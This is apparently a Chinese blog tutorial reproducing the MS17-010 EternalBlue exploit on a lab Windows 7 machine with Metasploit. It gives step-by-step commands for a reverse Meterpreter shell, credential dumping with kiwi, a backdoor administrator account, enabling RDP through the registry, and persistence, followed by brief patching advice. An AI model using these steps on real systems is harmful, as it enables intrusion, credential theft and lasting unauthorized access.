首页 > 其他分享 >MS17_010 漏洞利用与安全加固

MS17_010 漏洞利用与安全加固

时间:2024-03-18 11:01:29浏览次数:23  
标签:如图所示 命令 010 漏洞 MS17 模块 使用 靶机

文章目录

环境说明

  • 渗透机操作系统:kali-linux-2024.1-installer-amd64
  • 漏洞复现操作系统: cn_windows_7_professional_with_sp1_x64_dvd_u_677031

1 MS17_010 简介

MS17_010 漏洞后门利用程序 EternalBlue(从目前使用情况来看,相对比较稳定)可影响 Windows 7和 Windows Server 2008 大部分版本的操作系统,无需认证权限就能实现系统入侵控制;插件工具DoublePulsar 可以远程向目标控制系统注入恶意DLL 或 Payload程序。综合利用这两个工具,入侵成功之后可以对目标系统执行 Empire/Meterpreter 反弹连接控制。在此过程,还需要NSA 使用的类似 Metasploit 的漏洞利用代码攻击框架 FuzzBunch。

Windows SMB 远程任意代码执行漏洞(MS17_010) 包括如下CVE:CVE-2017-0143 严重远程命令、CVE-2017–0144严重 远程命令执行,CVE-2017-0145 严重 远程命令执行、CVE-2017-0146 严重 远程命令执行、CVE-2017-0147重要 信息泄露、CVE-2017-0148 严重 远程命令执行。

漏洞描述如下:

1)SMBv1 server 是其中一个服务器协议组件。

2)Windows 中的SMBv1服务器存在远程代码执行漏洞。

3)远程攻击者可借助特制的数据包利用漏洞执行任意代码。

以下版本受到影响:Windows Vista SP2,Windows Server 2008 SP2 和 R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Glod 和 R2,Windows RT 8.1 ,Windows 10 Glod、1511 和 1607,Windows Server 2016。

2 MS17_010 复现过程

在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing

步骤01、

打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。

在这里插入图片描述

步骤02、

使用ifconfig ipconfig命令分别获取渗透机和靶机的IP的地址,使用ping 命令进行网络 连通性测试,确保网络可达。

渗透机的IP 地址为 192.168.254.134,如图所示。

渗透机的IP地址

在这里插入图片描述

靶机的IP地址为 192.168.254.129,如图所示。

靶机的IP地址

在这里插入图片描述

步骤03、

使用 msfconsole 命令启动Metasploit 渗透测试平台,如图所示。

启动 Metasploit

在这里插入图片描述

步骤04、

使用search 命令搜索 msf 模块,即 auxiliary/scanner/smb/smb_ms17_010,验证目标靶机是否存在此漏洞,如图所示。

搜索 MS17_010 相关模块

在这里插入图片描述

步骤05、

使用 use auxiliary/scanner/smb/smb_ms17_010 命令调用漏洞扫描检测模块。使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOSTS 命令设置靶机地址,使用 exploit 或者 run 命令运行扫描模块,如图所示。

设置目标地址并运行检测

在这里插入图片描述

步骤06、

通过扫描发现目标靶机存在 MS17_010 漏洞,使用 use 命令调用 exploit/windows/smb/ms17_010_eternalblue 漏洞利用模块,如图所示。

调用利用模块

在这里插入图片描述

然后使用 show options 命令查看配置参数,并对目标靶机地址进行设置,如图所示。

查看配置参数

在这里插入图片描述

步骤07、

使用 set PAYLOAD 命令设置一个攻击载荷模块,这里使用HTTPS的Meterpreter 反弹载荷,即 windows/x64/meterpreter/reverse_https,更不易察觉,如图所示。

设置载荷模块

在这里插入图片描述

步骤08、

使用 show opotions 命令查看载荷模块需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOST 命令设置目标靶机地址,如图所示。

设置目标地址

在这里插入图片描述

使用 set LHOST 命令设置本地反弹连接的地址,如图所示。

设置本地地址

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行溢出模块

在这里插入图片描述

步骤09、

使用 getsystem 提权到system权限,如图所示。

在这里插入图片描述

使用 sysinfo 命令查看目标靶机信息,如图所示。

查看目标靶机信息

在这里插入图片描述

步骤10、

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制,如图所示。

因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中

在这里插入图片描述

把进程迁移到PID为492这个程序中(因为当前用户),如图所示。

进程迁移

在这里插入图片描述

使用 load kiwi 命令加载密码获取模块,然后使用 creds_wdigest 命令获取管理员密码,如图所示。

加载密码获取模块

在这里插入图片描述

步骤11、

使用 shell 命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。

获取操作系统的 Shell

在这里插入图片描述

然后使用 ipconfig 命令查看当前网卡的信息,如图所示。

查看网卡信息

在这里插入图片描述

使用 whoami 命令查看当前的系统权限,如图所示。

查看用户权限

在这里插入图片描述

步骤12、

使用 net user 账户名 密码 /add 命令添加账户,然后进行提权,如图所示。

查看后门用户

在这里插入图片描述

使用 net localgroup administrtors 后门用户 /add 命令将后门用户提升为管理员权限,如图所示。

添加用户至管理员分组

在这里插入图片描述

步骤13、

使用 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 命令设置注册表,如图所示。

设置注册表,开启远程访问

在这里插入图片描述

步骤14、

使用 rdesktop 靶机IP地址 命令 启动远程桌面连接终端,并使用后门用户进行登录,如图所示。

登录靶机系统

在这里插入图片描述

登录成功,成功渗透,如图所示。

成功登录靶机。

在这里插入图片描述

步骤15、

在 Meterperter 命令下,使用 background 命令将 Meterpreter终端隐藏在后台,执行其他任务,如图所示。

将 Meterpreter终端隐藏在后台

在这里插入图片描述

使用 use exploit/windows/local/persistence 命令植入持续后门,再使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数
在这里插入图片描述

使用 set SESSION 命令设置刚才获得权限的会话,使用 set STARTUP 设置SYSTEM启动,如图所示。

设置获得权限的会话

在这里插入图片描述

使用 set LHOST 命令设置载荷模块监听的本地地址,使用 set LPORT 命令设置载荷模块的监听的本地端口,如图所示。

设置相关参数

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行维持权限模块

在这里插入图片描述

步骤16、

首先按 <Ctrl + Shift + T> 组合键打开一个新窗口,然后使用 use /exploit/multi/handler 命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp 命令,设置本地监听的地址 192.168.254.134,设置监听端口 3306,最后使用 show options 命令查看最终的配置,如图所示。

查看配置参数

在这里插入图片描述

步骤17、

在之前的 Meterpreter 下使用 reboot 命令重启目标靶机,此时靶机将重新启动并加载之前的持续后门,如图所示。

获得操作系统的Shell,由于权限不够,重启失败

在这里插入图片描述

由于权限不够而导致重启失败,可尝试终止 lsass.exe 进程,让系统进入异常重启状态,如图所示。

查找 lsass.exe 进程的PID,终止 lsass.exe 进程

在这里插入图片描述

如果没有出现由于权限不够而导致重启失败,正常情况下重启系统,在监听会有后门脚本主动连接上,如图所示。

运行溢出模块

在这里插入图片描述

若重启后发现该后门脚本无法正常运行,如图所示。根据后门维持脚本生成的文件目录找到该脚本文件,可推测是由于系统安全机制拦截,如图所示。

在这里插入图片描述

在这里插入图片描述

此时需要手动将该脚本复制到开机自启动项中:C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,如图所示。

在这里插入图片描述

步骤18、

在 windows/handler 模块下使用 set LHOST (渗透剂IP)set LPORT (监听端口) 命令,最后使用 exploit -j 命令进行后台监听,再次重启目标靶机然后等待持续后门的自动连接,至此后门维持结束。

3 MS17_010 安全加固

步骤19、

大多数用户启用了 “自动更新”,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启用“启动更新” 的用户必须检查更新并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员、企业安装或者想要手动安装此安全更新的最终用户,Microsoft 建议使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新,如图所示。

官方安全公告

在这里插入图片描述

标签:如图所示,命令,010,漏洞,MS17,模块,使用,靶机
From: https://blog.csdn.net/theRavensea/article/details/136793097

相关文章

  • FastJson反序列化2-1.2.24漏洞利用
    1、1.2.24漏洞利用-JNDI漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;该类实现了JdbcRowSwt接口,继承自BaseRowSet;packagecom.sun.rowset;其中setAutoCommit方法中的else分支调用了conn......
  • 命令执行漏洞
    命令执行漏洞(CommandExecutionVulnerability)是指攻击者可以通过特定的输入或请求,在目标系统上执行任意的命令或代码。这种漏洞通常是由于应用程序没有对用户输入进行充分验证或过滤,导致攻击者可以插入恶意命令,从而实现对系统的控制或数据的窃取。命令执行漏洞的危害非常大......
  • 本地文件包含漏洞利用
    目录前期信息收集获取网站权限获取服务器权限纵向提权前期信息收集拿到目标的资产,先试一下IP能不能访问探测一下目标的端口运行的是什么服务nmap-sC-sVxx.xx9.95.185-Pn获取网站权限我们可以知道目标的80端口上运行着http服务,服务器是ubuntu,,中间件是apac......
  • 彩虹易支付存在的严重SQL注入漏洞正在被滥用
    彩虹易支付存在的严重SQL注入漏洞正在被滥用根据TG群组和Loc(https://hostloc.com/thread-1284026-1-1.html)的消息,彩虹易支付程序上存在的漏洞可被利用来修改订单的支付状态,该程序被广泛用于发卡平台。有黑客正通过Telegram机器人将利用该漏洞的攻击简易化、自动化,该机器人......
  • 通天星CMSV6车载定位监控平台 SQL注入漏洞复现(XVE-2023-23744)
    0x01产品简介通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队,专注于为定位、无线视频终端产品提供平台服务,通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。0x02漏洞概述该漏洞......
  • PHP引用序列化漏洞
    介绍根据php引用的特性构造序列化漏洞示例<?phpclassjust4fun{var$enter;var$secret;}$hxdyjx=newjust4fun();$hxdyjx->enter=&$hxdyjx->secret;echoserialize($hxdyjx);构造<?phpclassjust4fun{var$enter;var$secret;}$hxdy......
  • cve-2016-7124 序列化漏洞 php _weakup()
    版本范围php5<5.6.25php7<7.0.10原因魔法函数_weakup调用顺序:_weakup=>unserilize()如果对象属性个数:O:4:"test":3==3大于真是属性个数:3>2,则会跳过_weakup()的执行O:4:"test":3:{s:2:"v1";s:6:"hxdyjx";s:2:"v2";s:3:"1......
  • 维修Kistler奇石乐触摸屏监视器maXYmos 5867B1010 5867B0001
    用于批量生产和系列零件的光学测试和分选机光学检测系统为必须满足医疗技术或汽车行业等行业严格要求的产品提供了一种久经考验的质量保证方法。为了成功实施0-ppm策略并保证所有制造零件的质量,测试系统必须可靠地检查工件。检查不仅必须涵盖复杂的几何形状和尺寸稳定性,还必......
  • fastjson1.2.24-RCE漏洞复现
    触发过程图靶场模拟1、实验环境准备攻击者kali(192.168.101.141)使用工具:marshalsec-0.0.3-SNAPSHOT-all.jarGitHub-RandomRobbieBF/marshalsec-jar:marshalsec-0.0.3-SNAPSHOT-allcompiledonX64被攻击者centos7(192.168.101.148)使用工具:dockerdocker-compose......
  • web漏洞:RCE代码及命令执行
    概述:RCE漏洞可以让攻击者直接向后台服务器远程注入操作命令或代码,从而控制后台系统,分为远程系统命令执行和远程代码执行。远程系统命令执行:(危害:执行系统命令)一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口(比如路由器,防火墙,入侵检测等设......